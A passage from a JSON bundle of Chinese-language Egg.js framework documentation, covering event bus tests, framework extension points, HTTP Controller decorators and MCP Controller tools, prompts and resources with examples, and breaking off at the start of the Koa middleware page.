Events;\n}\n```\n\nEventContext 只能修饰 handle 方法的第一个参数，ts 会对此进行类型校验。\n\n### 单测\n\n通过 `app.getEventWaiter()` 方法获得的 `eventWaiter` 可以简单的等待事件触发。\n\n```typescript\nit('msg should work', async () => {\n  ctx = await app.mockModuleContext();\n  const fooProducer = await ctx.getEggObject(FooProducer);\n  let msg: string | undefined;\n  // FooHandler 会在一个独立的上下文中实例化\n  // 所以此处需要 mock prototype\n  mm(FooHandler.prototype, 'handle', (m) => {\n    msg = m;\n  });\n  const eventWaiter = await app.getEventWaiter();\n  // 通过 await 接口来等待事件被触发\n  // 不用再写 sleep\n  const helloEvent = eventWaiter.await('hello');\n  fooProducer.trigger('01');\n  await helloEvent;\n  assert.equal(msg, '01');\n});\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/extend.md",
    "content": "# 框架扩展\n\n框架提供了多种扩展点，以扩展自身的功能：\n\n- Application\n- Context\n- Request\n- Response\n- Helper\n\n在开发中，我们既可以使用已有的扩展 API 来方便开发，也可以对以上对象进行自定义扩展，以进一步加强框架的功能。\n\n## Application\n\n`app` 对象指的是 Koa 的全局应用对象，全局只有一个，在应用启动时被创建。\n\n### 访问方式\n\n- `ctx.app`\n\n  `ctx.app` 提供了一种访问全局 `app` 对象的方式。\n\n- Controller，Middleware，Helper，Service 中都可以通过 `this.app` 访问到 Application 对象。例如，通过 `this.app.config` 可以访问配置对象。\n\n- 在 `app.js` 中，`app` 对象会作为第一个参数注入到入口函数中。\n\n```js\n// app.js\nmodule.exports = (app) => {\n  // 使用 app 对象\n};\n```\n\n### 扩展方式\n\n框架会将 `app/extend/application.js` 中定义的对象与 Koa Application 的 prototype 对象进行合并。在应用启动时会基于扩展后的 prototype 生成 `app` 对象。\n\n#### 方法扩展\n\n例如，我们要增加一个 `app.foo()` 方法：\n\n```js\n// app/extend/application.js\nmodule.exports = {\n  foo(param) {\n    // this 就是 app 对象，在其中可以调用 app 上的其他方法，或访问属性\n  },\n};\n```\n\n#### 属性扩展\n\n通常，属性的计算只需执行一次。因此，需要实现缓存以免多次访问属性时重复计算，这会降低应用性能。\n\n推荐使用 Symbol 加 Getter 的模式实现属性缓存。\n\n例如，我们增加一个 `app.bar` 属性的 Getter：\n\n```js\n// app/extend/application.js\nconst BAR = Symbol('Application#bar');\n\nmodule.exports = {\n  get bar() {\n    // this 是 app 对象，在其中可以调用 app 上的其他方法，或访问属性\n    if (!this[BAR]) {\n      // 实际情况比这更复杂\n      this[BAR] = this.config.xx + this.config.yy;\n    }\n    return this[BAR];\n  },\n};\n```\n\n## Context\n\nContext 指的是 Koa 的请求上下文，这是请求级别的对象，每次请求生成一个 Context 实例，通常我们也简写成 `ctx`。在所有的文档中，Context 和 `ctx` 都是指 Koa 的上下文对象。\n\n### 访问方式\n\n- middleware 中 `this` 就是 ctx，例如 `this.cookies.get('foo')`。\n- controller 有两种写法，类的写法通过 `this.ctx`，方法的写法直接通过 `ctx` 入参。\n- helper，service 中的 this 指向 helper，service 对象本身，使用 `this.ctx` 访问 context 对象，例如 `this.ctx.cookies.get('foo')`。\n\n### 扩展方式\n\n框架会将 `app/extend/context.js` 中定义的对象与 Koa Context 的 prototype 对象进行合并，在处理请求时会基于扩展后的 prototype 生成 ctx 对象。\n\n#### 方法扩展\n\n例如，我们要增加一个 `ctx.foo()` 方法：\n\n```js\n// app/extend/context.js\nmodule.exports = {\n  foo(param) {\n    // this 就是 ctx 对象，在其中可以调用 ctx 上的其他方法，或访问属性\n  },\n};\n```\n\n#### 属性扩展\n\n一般来说，属性的计算在同一次请求中只需要进行一次，那么一定要实现缓存，否则在同一次请求中多次访问属性时会计算多次，这样会降低应用性能。\n\n推荐的方式是使用 Symbol + Getter 的模式。\n\n例如，增加一个 `ctx.bar` 属性 Getter：\n\n```js\n// app/extend/context.js\nconst BAR = Symbol('Context#bar');\n\nmodule.exports = {\n  get bar() {\n    // this 就是 ctx 对象，在其中可以调用 ctx 上的其他方法，或访问属性\n    if (!this[BAR]) {\n      // 例如，从 header 中获取，实际情况肯定更复杂\n      this[BAR] = this.get('x-bar');\n    }\n    return this[BAR];\n  },\n};\n```\n\n## Request 对象\n\nRequest 对象和 Koa 的 Request 对象相同，是 **请求级别** 的对象，它提供了大量请求相关的属性和方法供使用。\n\n### 访问方式\n\n```js\nctx.request;\n```\n\n`ctx` 上的很多属性和方法都被代理到 `request` 对象上，对于这些属性和方法使用 `ctx` 和使用 `request` 访问它们是等价的，例如 `ctx.url === ctx.request.url`。\n\nKoa 内置的代理 `request` 的属性和方法列表可参阅：[Koa - Request aliases](http://koajs.com/#request-aliases)。\n\n### 扩展方式\n\n框架会将 `app/extend/request.js` 中定义的对象与内置 `request` 的 prototype 对象进行合并，在处理请求时会基于扩展后的 prototype 生成 `request` 对象。\n\n例如，增加一个 `request.foo` 属性 Getter：\n\n```js\n// app/extend/request.js\nmodule.exports = {\n  get foo() {\n    return this.get('x-request-foo');\n  },\n};\n```\n\n## Response\n\nResponse 对象和 Koa 的 Response 对象相同，是 **请求级别** 的对象，提供了众多响应相关的属性和方法供使用。\n\n### 访问方式\n\n```js\nctx.response;\n```\n\n`ctx` 上的许多属性和方法都代理到了 `response` 对象上，因此直接通过 `ctx` 访问这些属性和方法与通过 `response` 访问是等价的。例如，`ctx.status = 404` 和 `ctx.response.status = 404` 是等价的。\n\n参考 Koa 官方文档中列出的内置代理 `response` 的属性和方法列表：[Koa Response aliases](http://koajs.com/#response-aliases)。\n\n### 扩展方式\n\n框架会将 `app/extend/response.js` 中定义的对象与内置 `response` 的 prototype 对象合并，在处理请求时基于扩展后的 prototype 生成 `response` 对象。\n\n例如，要增加一个 `response.foo` 属性的 setter：\n\n```js\n// app/extend/response.js\nmodule.exports = {\n  set foo(value) {\n    this.set('x-response-foo', value);\n  },\n};\n```\n\n现在可以这样使用：`this.response.foo = 'bar';`。\n\n## Helper\n\nHelper 函数用来提供一些实用的 utility 函数。\n\n它的作用在于我们可以将一些常用的动作抽离在 `helper.js` 里面成为一个独立的函数，这样可以用 JavaScript 来写复杂的逻辑，避免逻辑分散各处。另外还有一个好处是 Helper 这样一个简单的函数，可以让我们更容易编写测试用例。\n\n框架内置了一些常用的 Helper 函数。我们也可以编写自定义的 Helper 函数。\n\n### 访问方式\n\n通过 `ctx.helper` 访问到 helper 对象，例如：\n\n```js\n// 假设在 app/router.js 中定义了 home router\napp.get('home', '/', 'home.index');\n\n// 使用 helper 计算指定 url path\nctx.helper.pathFor('home', { by: 'recent', limit: 20 });\n// => /?by=recent&limit=20\n```\n\n### 扩展方式\n\n框架会把 `app/extend/helper.js` 中定义的对象与内置 `helper` 的 prototype 对象进行合并，在处理请求时会基于扩展后的 prototype 生成 `helper` 对象。\n\n例如，增加一个 `helper.foo()` 方法：\n\n```js\n// app/extend/helper.js\nmodule.exports = {\n  foo(param) {\n    // this 是 helper 对象，在其中可以调用其他 helper 方法\n    // this.ctx => context 对象\n    // this.app => application 对象\n  },\n};\n```\n\n## 按照环境进行扩展\n\n在 `unittest` 环境中，你可以选择性地扩展应用程序。例如，只在 `unittest` 现场提供 `mockXX()` 方法，便于进行 mock 测试。\n\n```js\n// app/extend/application.unittest.js\nmodule.exports = {\n  mockXX(k, v) {},\n};\n```\n\n这个文件只会在 `unittest` 环境加载。同理，Application、Context、Request、Response 和 Helper 都可以使用这种方式针对某个特定环境进行扩展。更多信息，请参阅[运行环境](./env.md)。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/httpcontroller.md",
    "content": "# HTTP Controller\n\n## 使用场景\n\n需要在应用中，提供 HTTP 服务时，通过 HTTPController 装饰器申明 HTTP 接口。建议用于强依赖 HTTP 协议的场景。常见场景有：\n\n- SSR 场景，在服务端流式渲染 HTML 后返回给前端。\n- SSE 场景，通过 Server-Sent Events 与前端实时通信，实现 AI 对话等功能。\n- 依赖 cookie 等 HTTP 协议数据进行业务逻辑处理的场景。\n\n## 使用方式\n\n使用 `HTTPController` 装饰器申明一个类为 HTTP 控制器，使用 `HTTPMethod` 装饰器申明该类中的方法对应的具体 HTTP 接口信息。\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';\n\n@HTTPController()\nexport default class SimpleController {\n  // 申明一个 GET /api/hello/:name 接口\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello/:name' })\n  async hello(@HTTPParam() name: string) {\n    return {\n      message: 'hello ' + name,\n    };\n  }\n}\n```\n\n`HTTPController` 装饰器支持传入 `path` 参数，用于指定该控制器的基础 HTTP path，和 `HTTPMethod` 中的 `path` 参数拼接后，为最终的 HTTP path。\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n// 设置 path 参数，用于指定该类下所有接口的 path 前缀\n@HTTPController({ path: '/api' })\nexport default class PathController {\n  // GET /api/hello\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: 'hello' })\n  async hello() {\n    // ...\n  }\n\n  // POST /api/echo\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: 'echo' })\n  async echo() {\n    // ...\n  }\n}\n```\n\n## path 优先级\n\n通过 `HTTPMethod` 装饰器设置的 `path` 使用 [path-to-regexp](https://github.com/pillarjs/path-to-regexp) 进行解析，支持一些简单的参数、通配符等功能。若有多个 `HTTPMethod` 同时满足 `path` 匹配时，则需要通过优先级来确定匹配的接口，优先级越高的接口会被优先匹配。\n\negg 默认会给每个接口都计算一个优先级。默认优先级规则应该满足绝大多数场景使用。因此大多数场景，都无需手动指定优先级。默认优先级规则如下所示：\n\n> priority = pathHasRegExp\n> ? regexpIndexInPath.reduce((p,c) => p + c \\* 1000, 0)\n> : 100000\n\n结合具体例子来看，下列接口的默认优先级由低到高分别如下所示：\n\n| Path                          | RegExp index | priority |\n| ----------------------------- | ------------ | -------- |\n| /\\*                           | [0]          | 0        |\n| /hello/:name                  | [1]          | 1000     |\n| /hello/world/message/:message | [3]          | 3000     |\n| /hello/:name/message/:message | [1, 3]       | 4000     |\n| /hello/world                  | []           | 100000   |\n\n对于默认优先级无法满足的业务场景，可通过 `HTTPMethod` 装饰器的 `priority` 参数手动指定优先级。\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n@HTTPController()\nexport default class PriorityController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/(api|openapi)/echo',\n    priority: 100000, // 指定该接口优先级更高\n  })\n  async high() {\n    // ...\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/(api|openapi)/(.+)',\n  })\n  async low() {\n    // ...\n  }\n}\n```\n\n## 请求参数装饰器\n\n### HTTPHeaders\n\n`HTTPHeaders` 装饰器用于获取完整的 HTTP 请求头。\n\n:::warning\n⚠️注意: headers 中的 key 会被转为小写，取值时请使用小写字符进行取值。\n:::\n\n```typescript\nimport {\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPHeaders,\n  IncomingHttpHeaders,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  // curl http://localhost:7001/api/hello -H 'X-Custom: custom'\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello' })\n  async getHeaders(@HTTPHeaders() headers: IncomingHttpHeaders) {\n    const custom = headers['x-custom'];\n    // ...\n  }\n}\n```\n\n### HTTPQuery/HTTPQueries\n\n`HTTPQuery/HTTPQueries` 装饰器用于获取 HTTP 请求中 querystring 参数。`HTTPQuery` 只取第一个参数，类型必须为 `string`；`HTTPQueries` 以数组形式注入参数，数组包含一个或多个值，类型为 `string[]`。\n\n```typescript\nimport {\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPQuery,\n  HTTPQueries,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/query' })\n  async getQueries(\n    // /api/query?user=asd&user=fgh\n    // user = 'asd'\n    // users = ['asd', 'fgh']\n    @HTTPQuery() user?: string, // 未设置 name 时，将自动读取变量名为 name\n    @HTTPQueries({ name: 'user' }) users?: string[], // 也可手动指定 name\n  ) {\n    // ...\n  }\n}\n```\n\n### HTTPParam\n\n`HTTPParam` 装饰器用于获取 HTTP 请求 `path` 中匹配的参数，只能为 string 类型。参数名默认和变量名相同，若有别名等需求，也可手动指定名称。\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  // curl http://127.0.0.1:7001/api/2088000\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/:id' })\n  async getParamId(@HTTPParam() id: string) {\n    // id 为 '2088000'\n    // ...\n  }\n\n  // 匹配 path 中第一个正则表达式匹配的字符\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/foo/(.*)' })\n  async getParamBar(@HTTPParam({ name: '0' }) bar: string) {\n    // ...\n  }\n}\n```\n\n### HTTPBody\n\n`HTTPBody` 装饰器用于获取请求体内容，框架在注入时，会先根据请求头中的 `content-type` 对请求体进行解析，支持 json、text 以及 form-urlencoded。其他 `content-type` 类型会注入空值，可通过 `Request` 装饰器获取原始请求体，自行进行处理。\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from 'egg';\n\nexport interface BodyData {\n  foo: string;\n  bar?: number;\n}\n\n@HTTPController()\nexport default class ArgsController {\n  // content-type: application/json\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/json-body' })\n  async getJsonBody(@HTTPBody() body: BodyData) {\n    // ...\n  }\n\n  // content-type: text/plain\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/text-body' })\n  async getTextBody(@HTTPBody() body: string) {\n    // ...\n  }\n\n  // content-type: application/x-www-form-urlencoded\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/formdata-body' })\n  async getFormBody(\n    @HTTPBody() body: FormData, // 函数应用中，为  FormData 类型\n    // @HTTPBody() body: BodyData, // 标准应用中，为普通对象\n  ) {\n    // ...\n  }\n}\n```\n\n### Cookies\n\n`Cookies` 装饰器用于获取完整的 HTTP Cookies。\n\n```typescript\nimport {\n  Cookies,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPCookies,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/cookies' })\n  async getCookies(@HTTPCookies() cookies: Cookies) {\n    return {\n      success: true,\n      cookies: cookies.get('test', { signed: false }),\n    };\n  }\n}\n```\n\n### HTTPRequest\n\n`HTTPRequest` 装饰器用于获取完整的 HTTP 请求对象，可获取 url、headers 以及 body 等请求信息，具体 api 可参考类型定义。\n\n:::warning\n⚠️ 注意：通过 @HTTPBody 装饰器注入请求体后，会对请求体进行消费。若同时注入 @HTTPRequest，再次消费请求体时，将会导致错误（注入 @HTTPRequest，不消费请求体，获取 url、headers 等信息不会有影响）。\n:::\n\n```typescript\nimport {\n  HTTPBody,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPRequest,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request' })\n  async getRequest(@HTTPRequest() request: Request) {\n    const headerData = request.headers.get('x-header-key');\n    const url = request.url;\n    // 获取请求体 arrayBuffer\n    const arrayBufferData = await request.arrayBuffer();\n    // ...\n  }\n\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/request2' })\n  async getRequest2(@HTTPBody() body: object, @HTTPRequest() request: Request) {\n    // 同时注入 HTTPBody 和 Request，通过 request 读取 header、url 等信息可正常运行\n    const headerData = request.headers.get('x-header-key');\n    const url = request.url;\n    // ❌ 错误示例\n    // 已经通过 HTTPBody 注入请求体的情况下\n    // 又同时通过 request 再次消费请求体时，将会抛出异常\n    // const arrayBufferData = await request.arrayBuffer();\n    // ...\n  }\n}\n```\n\n### HTTPContext\n\n在标准应用中，可使用 `HTTPContext` 装饰器，用于获取 egg 的 [Context][Context] 对象。\n\n:::warning\n⚠️ 注意：函数应用中，不支持使用 `HTTPContext` 装饰器。\n:::\n\n```typescript\nimport {\n  HTTPContext,\n  Context,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n} from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/context' })\n  async getContext(@HTTPContext() context: Context) {\n    // ...\n  }\n}\n```\n\n## HTTP 响应\n\n### 默认响应\n\n默认情况下，`HTTPMethod` 函数返回对象时，框架会进行 `JSON.stringify` 处理，并设置 `Content-Type: application/json` 返回给客户端。\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/json' })\n  async defaultResponse() {\n    return {\n      result: 'hello world',\n    };\n  }\n}\n```\n\n### 自定义响应\n\n#### 函数应用\n\n在函数应用中，当需要返回非 JSON 数据，或需要设置 HTTP 响应码以及响应头等数据时，可通过全局注入的 `Response` 对象进行设置并返回。\n\n```typescript\nimport { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })\n  async customResponse() {\n    // Response 为全局对象，无需 import\n    return new Response('<h1>Hello World</h1>', {\n      status: 200,\n      headers: {\n        'transfer-encoding': 'chunked',\n        'content-type': 'text/html; charset=utf-8',\n        'x-header-key': 'from-function',\n      },\n    });\n  }\n}\n```\n\n#### 标准应用\n\n在标准应用中，可以通过 [Context][Context] 提供的 api 来自定义设置 HTTP 响应码和响应头等信息。\n\n```typescript\nimport {\n  Context,\n  HTTPContext,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n} from 'egg';\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/custom-response' })\n  async customResponse(@HTTPContext() ctx: Context) {\n    // 自定义响应码\n    ctx.status = 200;\n    // 添加自定义响应头\n    ctx.set('x-custom', 'custom');\n    // 设置 Content-Type 的语法糖，等价于 ctx.set('content-type', 'application/json')\n    // 支持 json、html 等常见类型，可参考 https://github.com/jshttp/mime-types\n    ctx.type = 'html';\n\n    return '<h1>Hello World</h1>';\n  }\n}\n```\n\n### 流式响应\n\n只需要将流式数据包装为一个 `Readable` 对象并返回即可。\n\n```typescript\nimport { Readable } from 'node:stream';\nimport { setTimeout } from 'node:timers/promises';\nimport {\n  Context,\n  HTTPContext,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n} from 'egg';\n\n// 构造流式数据\nasync function* generate(count = 5, duration = 500) {\n  yield '<html><head><title>hello stream</title></head><body>';\n  for (let i = 0; i < count; i++) {\n    yield `<h2>流式内容${i + 1}，${Date()}</h2>`;\n    await setTimeout(duration);\n  }\n  yield '</body></html>';\n}\n\n@HTTPController()\nexport default class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/stream' })\n  async streamResponse(@HTTPContext() ctx: Context) {\n    ctx.type = 'html';\n    return Readable.from(generate());\n  }\n}\n```\n\n[Context]: ./objects.md#context\n"
  },
  {
    "path": "site/docs/zh-CN/basics/index.md",
    "content": "# 基础功能\n\n- [目录结构](./structure.md)\n- [依赖注入](./di.md)\n- [controller](./controller.md)\n- [HTTP Controller](./httpcontroller.md)\n- [MCP Controller](./mcpcontroller.md)\n- [Schedule Controller](./schedule.md)\n- [参数校验](./ajv.md)\n- [切面编程](./aop.md)\n- [异步任务](./backgroundTask.md)\n- [事件中枢](./eventbus.md)\n- [内置对象](./objects.md)\n- [运行环境](./env.md)\n- [配置](./config.md)\n- [AOP 中间件(推荐)](./aop-middleware.md)\n- [Koa 中间件](./middleware.md)\n- [插件](./plugin.md)\n- [框架拓展](./extend.md)\n- [启动自定义](./app-start.md)\n- [单元测试](./unittest.md)\n"
  },
  {
    "path": "site/docs/zh-CN/basics/mcpcontroller.md",
    "content": "# MCP Controller\n\n## 使用场景\n\n使用 mcp 触发器，可以快速便捷的让你的大模型接入。\n\n## 本地开发\n\n在编程界面可以通过`MCPController`装饰器声明一个类为 MCP 触发器，它将包含`Tool`，`Prompt`和`Resource`三种工具\n\n开发前请先添加插件。\n\n```typescript\nplugin.mcpProxy = true;\n```\n\n### Tool\n\n```typescript\nimport {\n  MCPController,\n  ToolArgs,\n  MCPToolResponse,\n  MCPTool,\n  ToolArgsSchema,\n} from 'egg';\nimport z from 'zod';\n\nexport const ToolType = {\n  name: z.string({\n    description: 'npm package name',\n  }),\n};\n\n// interface MCPToolParams {\n//     name?: string;\n//     description?: string;\n// }\n\n@MCPController({\n  name: 'HelloMCP',\n})\nexport class MCPFooController {\n  @MCPTool()\n  // 请在这里用 typeof\n  async bar(\n    @ToolArgsSchema(ToolType) args: ToolArgs<typeof ToolType>,\n  ): Promise<MCPToolResponse> {\n    return {\n      content: [\n        {\n          type: 'text',\n          text: `海兔 npm 包: ${args.name} 不存在`,\n        },\n      ],\n    };\n  }\n}\n```\n\n### Prompt\n\n```typescript\nimport {\n  MCPController,\n  PromptArgs,\n  MCPPromptResponse,\n  MCPPrompt,\n  PromptArgsSchema,\n} from 'egg';\nimport z from 'zod';\n\nexport const PromptType = {\n  name: z.string(),\n};\n\n// interface MCPPromptParams {\n//     name?: string;\n//     description?: string;\n// }\n\n@MCPController({\n  name: 'HelloMCP',\n})\nexport class MCPFooController {\n  @MCPPrompt()\n  // 请在这里用 typeof\n  async foo(\n    @PromptArgsSchema(PromptType) args: PromptArgs<typeof PromptType>,\n  ): Promise<MCPPromptResponse> {\n    return {\n      messages: [\n        {\n          role: 'user',\n          content: {\n            type: 'text',\n            text: `Generate a concise but descriptive commit message for these changes:\\n\\n${args.name}`,\n          },\n        },\n      ],\n    };\n  }\n}\n```\n\n### Resource\n\n```typescript\nimport { MCPController, MCPResourceResponse, MCPResource } from 'egg';\nimport z from 'zod';\n\n// export interface MCPResourceUriParams {\n//     name?: string;\n//     uri: string;\n//     metadata?: ResourceMetadata;\n// }\n// export interface MCPResourceTemplateParams {\n//     name?: string;\n//     template: ConstructorParameters<typeof ResourceTemplate>;\n//     metadata?: ResourceMetadata;\n// }\n// export type MCPResourceParams = MCPResourceUriParams | MCPResourceTemplateParams;\n\n@MCPController({\n  name: 'HelloMCP',\n})\nexport class MCPFooController {\n  @MCPResource({\n    template: [\n      'hitu://npm/{name}/{?version}',\n      {\n        list: undefined,\n      },\n    ],\n  })\n  async car(uri: URL): Promise<MCPResourceResponse> {\n    return {\n      contents: [\n        {\n          uri: uri.toString(),\n          text: `MOCK TEXT`,\n        },\n      ],\n    };\n  }\n}\n```\n\n### Notification\n\n```typescript\nimport {\n  MCPController,\n  ToolArgs,\n  MCPToolResponse,\n  MCPTool,\n  ToolExtra,\n  ToolArgsSchema,\n  Extra,\n} from 'egg';\nimport z from 'zod';\n\nexport const NotificationType = {\n  interval: z\n    .number()\n    .describe('Interval in milliseconds between notifications')\n    .default(100),\n  count: z\n    .number()\n    .describe('Number of notifications to send (0 for 100)')\n    .default(50),\n};\n\n@MCPController()\nexport class AppController {\n  @MCPTool({\n    name: 'start-notification-stream',\n    description:\n      'Starts sending periodic notifications for testing resumability',\n  })\n  async startNotificationStream(\n    @ToolArgsSchema(NotificationType) args: ToolArgs<typeof NotificationType>,\n    @Extra() extra: ToolExtra,\n  ): Promise<MCPToolResponse> {\n    const { interval, count } = args;\n    const { sendNotification } = extra;\n    const sleep = (ms: number) =>\n      new Promise((resolve) => setTimeout(resolve, ms));\n    let counter = 0;\n\n    while (count === 0 || counter < count) {\n      counter++;\n      try {\n        await sendNotification({\n          method: 'notifications/message',\n          params: {\n            level: 'info',\n            data: `Periodic notification #${counter}`,\n          },\n        });\n      } catch (error) {\n        console.error('Error sending notification:', error);\n      }\n      await sleep(interval);\n    }\n\n    return {\n      content: [\n        {\n          type: 'text',\n          text: `Started sending periodic notifications every ${interval}ms`,\n        },\n      ],\n    };\n  }\n}\n```\n\n#### 调用\n\n```ts\nimport {\n  HTTPBody,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  Inject,\n} from 'egg';\nimport { MCPClientFactory } from 'egg/mcp';\n\nexport interface ListMcpRequest {\n  appname: string;\n  category?: string;\n  servername: string;\n  clientName?: string;\n  uniqueId?: string;\n  version?: string;\n}\n\nexport interface CallMcpRequest {\n  appname: string;\n  category?: string;\n  servername: string;\n  clientName?: string;\n  uniqueId?: string;\n  version?: string;\n  toolName: string;\n  arguments: Record<string, object>;\n}\n\n@HTTPController({ path: '/api/mcp/admin/demo' })\nexport default class MCPDemoHTTPController {\n  @Inject()\n  private readonly mcpClientFactory: MCPClientFactory;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/list',\n  })\n  async getMcpTools(\n    @HTTPBody() request: ListMcpRequest,\n  ): Promise<Record<string, string>> {\n    const client = await this.mcpClientFactory.build(\n      {\n        name: request.clientName ?? request.servername,\n        version: request.version ?? '1.0.0',\n      },\n      {\n        serverSubConfig: {\n          appname: request.appname,\n          uniqueId: request.uniqueId,\n          serverName: request.servername,\n          category: request.category,\n        },\n      },\n    );\n    const tools = await client.listTools();\n    return tools as any;\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/call',\n  })\n  async callMcpTools(\n    @HTTPBody() request: CallMcpRequest,\n  ): Promise<Record<string, string>> {\n    const client = await this.mcpClientFactory.build(\n      {\n        name: request.clientName ?? request.servername,\n        version: request.version ?? '1.0.0',\n      },\n      {\n        serverSubConfig: {\n          appname: request.appname,\n          uniqueId: request.uniqueId,\n          serverName: request.servername,\n          category: request.category,\n        },\n      },\n    );\n    const res = await client.callTool({\n      name: request.toolName,\n      arguments: request.arguments ?? {},\n    });\n    return res as any;\n  }\n}\n```\n\n## 单元测试\n\n> ⚠️ 注意：MCP 只支持 node >= 18。\n\n```typescript\nimport path from 'node:path';\nimport assert from 'node:assert';\nimport { app } from 'egg-mock/bootstrap';\nimport { Client } from '@modelcontextprotocol/sdk/client/index.js';\n\ndescribe('plugin/controller/test/mcp/mcpcontroller.test.ts', () => {\n  it('should mcp work', async () => {\n    app.mockCsrf();\n    const client: Client = await app.mcpClient();\n\n    const resources = await client.listResources();\n    const prompts = await client.listPrompts();\n    const tools = await client.listTools();\n\n    assert.deepEqual(resources, {\n      resources: [\n        { uri: 'hitu://npm/tegg?version=4.10.0', name: 'tegg' },\n        { uri: 'hitu://npm/mcp?version=0.10.0', name: 'mcp' },\n      ],\n    });\n\n    assert.deepEqual(prompts, {\n      prompts: [{ name: 'foo', arguments: [{ name: 'name', required: true }] }],\n    });\n\n    assert.deepEqual(tools, {\n      tools: [\n        {\n          name: 'bar',\n          inputSchema: {\n            $schema: 'http://json-schema.org/draft-07/schema#',\n            additionalProperties: false,\n            properties: {\n              name: {\n                description: 'npm package name',\n                type: 'string',\n              },\n            },\n            required: ['name'],\n            type: 'object',\n          },\n        },\n      ],\n    });\n\n    const toolRes = await client.callTool({\n      name: 'bar',\n      arguments: {\n        name: 'aaa',\n      },\n    });\n    assert.deepEqual(toolRes, {\n      content: [{ type: 'text', text: '海兔 npm 包: aaa 不存在' }],\n    });\n\n    const promptRes = await client.getPrompt({\n      name: 'foo',\n      arguments: {\n        name: 'bbb',\n      },\n    });\n    assert.deepEqual(promptRes, {\n      messages: [\n        {\n          role: 'user',\n          content: {\n            type: 'text',\n            text: 'Generate a concise but descriptive commit message for these changes:\\n\\nbbb',\n          },\n        },\n      ],\n    });\n\n    const resourceRes = await client.readResource({\n      uri: 'hitu://npm/tegg?version=4.10.0',\n    });\n    assert.deepEqual(resourceRes, {\n      contents: [\n        { uri: 'hitu://npm/tegg?version=4.10.0', text: 'MOCK TEXT 张三' },\n      ],\n    });\n  });\n});\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/middleware.md",
    "content": "# Koa 中间件\n\n在[前面的章节](../intro/egg-and-koa.md)中，我们介绍了 Egg 是基于 Koa 实现的，所以 Egg 的中间件形式和 Koa 的中间件形式是一样的，都是基于[洋葱圈模型](../intro/egg-and-koa.md#middleware)。每次我们编写一个中间件，就相当于在洋葱外面包了一层。\n\n## 编写中间件\n\n### 写法\n\n我们首先来通过编写一个简单的 gzip 中间件，了解中间件的写法。\n\n```js\n// app/middleware/gzip.js\nconst isJSON = require('koa-is-json');\nconst zlib = require('zlib');\n\nasync function gzip(ctx, next) {\n  await next();\n\n  // 后续中间件执行完成后，将响应体转换成 gzip\n  let body = ctx.body;\n  if (!body) return;\n  if (isJSON(body)) body = JSON.stringify(body);\n\n  // 设置 gzip body，修正响应头\n  const stream = zlib.createGzip();\n  stream.end(body);\n  ctx.body = stream;\n  ctx.set('Content-Encoding', 'gzip');\n}\n```\n\n可以看到，框架的中间件和 Koa 的中间件写法是一模一样的，所以任何 Koa 的中间件都可以直接被框架使用。\n\n### 配置\n\n一般来说，中间件也会有自己的配置。在框架中，一个完整的中间件包含了配置处理。我们约定一个中间件是一个放置于 `app/middleware` 目录下的单独文件。它需要 `exports` 一个普通的函数，接受两个参数：\n\n- `options`：中间件的配置项，框架会将 `app.config[${middlewareName}]` 传递进来。\n- `app`：当前应用 `Application` 的实例。\n\n下面我们对上文中的 gzip 中间件做一个简单的优化，使其支持指定只有当体积大于配置的 `threshold` 时才进行 gzip 压缩。我们在 `app/middleware` 目录下新建 `gzip.js` 文件。\n\n```js\n// app/middleware/gzip.js\nconst 